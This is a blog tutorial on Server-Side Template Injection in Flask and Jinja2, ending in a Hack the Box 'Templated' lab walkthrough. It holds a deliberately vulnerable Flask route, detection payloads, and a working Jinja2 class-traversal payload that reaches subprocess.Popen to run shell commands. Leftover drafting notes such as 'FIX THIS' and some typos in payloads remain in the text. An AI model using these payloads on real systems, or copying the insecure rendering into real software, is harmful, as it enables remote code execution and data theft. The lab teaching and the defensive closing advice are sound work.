Lately, Iāve been interested in learning more about cybersecurity, and especially about web application penetration testing. Iāve been fortunate enough to receive two SANS courses which gave me a wide knowledge base about the different attack vectors you could use on a web application.
Iāve done the following courses:
SEC542: Web App Penetration Testing and Ethical Hacking
SEC642: Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques
Introduction To Server Side Template Injection - SSTI
Template engines are of common use when working with different languages, and there could be multiple templating engines for each programming language.
Here are a few examples you might already be familiar with:
A Templating engine allow you to write a document once, and inject the data dynamically to the document with the engineās bracket notation.
I will be focusing on Python, Flask and Jinja2 as it will be the basis for the following āHack the Boxā walkthrough that shows the vulnerability injection, and gaining code execution.
Flask uses Jinja2 as its default templating engine and is actually a requirement when installing Flask.
To view the vulnerability, Iāve created a purposely insecure simple Flask server with a route named home, that will render our URL parameter named cmd.
from flask import Flask, render_template_string, requestapp = Flask(__name__)@app.route("/home")def home():if request.args.get('cmd'):return render_template_string(request.args.get('cmd',""))else:return "Hello World"if __name__ == "__main__":app.run(debug=True)
When accessing this serverās home route, we will be greeted with a āHello Worldā message.
Now we are going to learn how to discover and then exploit the vulnerability using the cmd parameter.
Template Injection Discovery
Every template engine has its own bracket notation syntax to inject our data into the document being dynamically generated.
We could try to inject a simple payload to abuse the template engineās functionality.
When trying to discover a template injection, using a logical math operation is desirable.The idea is that if you were able to inject a math operation which is supported by all major programming languages, you could check to see if the result was reflected back to you.
For example:
{{ 7*7 }} // Jinja2 / Twig / Mustache{$ 7*7 } // Smarty<%= 7*7 %> // eRB / eJS
If you see the result ā49ā reflected back through the web application you know youāve found a valid injection.
Lets test it against our vulnerable parameter cmd:
We can see that the parameter is indeed vulnerable.
Attack Vectors
When youāve found a valid injection there are multiple things you can do, some of them depending on the language capabilities.
Reflecting Available Variables
You could try to use common reserved keywords to try and see their data, or even guess variables names and print their data.
By doing so, you will be able to read and reflect anything that is available in that scope in memory.
For example, using python you could reference the current class, or a variable currently available:
{{ self }} // current class refernce{{ variable_name }} // Prior knowledge / guessing / brute-force.
Code Execution
Depending on the language code execution might be possible, and even running a reverse-shell to gain control over the machine.
You can open a process to run you code with the following:
subprocess.popen // Python2 / Python3Java.lange.Runtime.exec() // JAVAIO.popen // Ruby
Google for other command execution methods for your particular use-case and language.
Exploit Class Inheritance To Gain Remote Code Execution
Depending on the language you will find ways that will help you reach remote code execution by accessing the above-mentioned attributes and functions to open a process and run your code.
In Python, you will have the following attributes and functions to traverse the class inheritance:
FIX THIS UNDERSCORE
__class__ ā An attribute on the object that refers to the class from which the object was created.__mro__ ā stands for Method Resolution Order. It returns a list of types the class is derived from._subclasses__ ā Returns all the subclasses of the object / class it was called on.By using a combination of the above attributes and functions, you could be able to reach subprocess.popen and run your code.
Now we will use all that we learned until now to successfully exploit the Templated machine at āHack the Boxā.
Hack The Box - Templated Walkthrough
Using āHack the Boxā Templated machine we will demonstrate the Server-Side Template Injection ( SSTI ) vulnerability.
When entering the application this is the first page we see:
We are instantly given the framework and templating engine being used in this machine. This saves us time trying to enumerate the services or going over the requests.
The application has no apparent functionality, the only thing I could think of was to try and view the error page, so Iāve added to the URL the text: āunknownpageā.
It seems the application is reflecting our injected URL text. Letās try and check for Server-Side Template Injection, using the discovery method we have previously learned.
Inject a logical math operation and check if it was reflected back, so letās use the following payload:
{{7*7}} // We expect to see 49
Iāve injected the payload into the URL and it worked! We can see the value ā49ā is being reflected back to us instead of the page name.
As Iāve said earlier you could brute-force / guess or have prior knowledge about variable names that exists in the current scope of the code execution.
Playing around with the injection Iāve managed to reflect back the variable config:
The above config variable was just an example of the variable reflection Iāve discussed earlier.
To exploit the vulnerability we donāt have to reflect any variable back, we can use existing data types to reach our goal.
Letās try and find subprocess.popen, to run our code and hopefully find the flag file.
FIX THIS !!!!!!!!!!!!!!!!!
We can use a combination of class, mro & subclasses() to find all available classes:
{{''.__class__.__mro__[1].__subclasses__()}}
We can then create an empty string and access the class it was created from:
{{''.__class__}}// Result: The page '<class 'str'>' could not be found
Then we can access the Method Resolution Order, using mro to find the classes class āstrā was created from.
{{''.__class__.__mro__}}// Result: The page '(<class 'str'>, <class 'object'>)' could not be found
Now we have found the object class which every class inherits from. All that is left is getting all of its subclasses:
{{''.__class__.__mro__[1].__subclasses_()}}
Weāve found a list of all available sub classes and inside the subprocess.popen class, this means code execution is possible!
Iāve searched Google to find the final implementation to run the code execution, and Iāve assumed that such a small application wonāt have any complex file system structure, and ran the ls command.
There I saw the flag.txt file and then Iāve used cat to display itās contents:
{{''.__class__.__mro__[1].__subclasses__()[414]('cat%20flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
We have successfully found the flag!
Final Notes
Never trust user input, always remember to sanitize by removing unwanted characters before parsing the data.
If allowing these risky characters is a business requirement, remember that code execution is possible. You should use docker to sandbox the application and minimize the risk.
When dealing with templates always pass the user input as parameters, the framework will be able to prevent any code execution (Make sure to check it yourself).
I hope youāve enjoyed the article, and you are now capable of exploiting Server-Side Template Injection by yourself.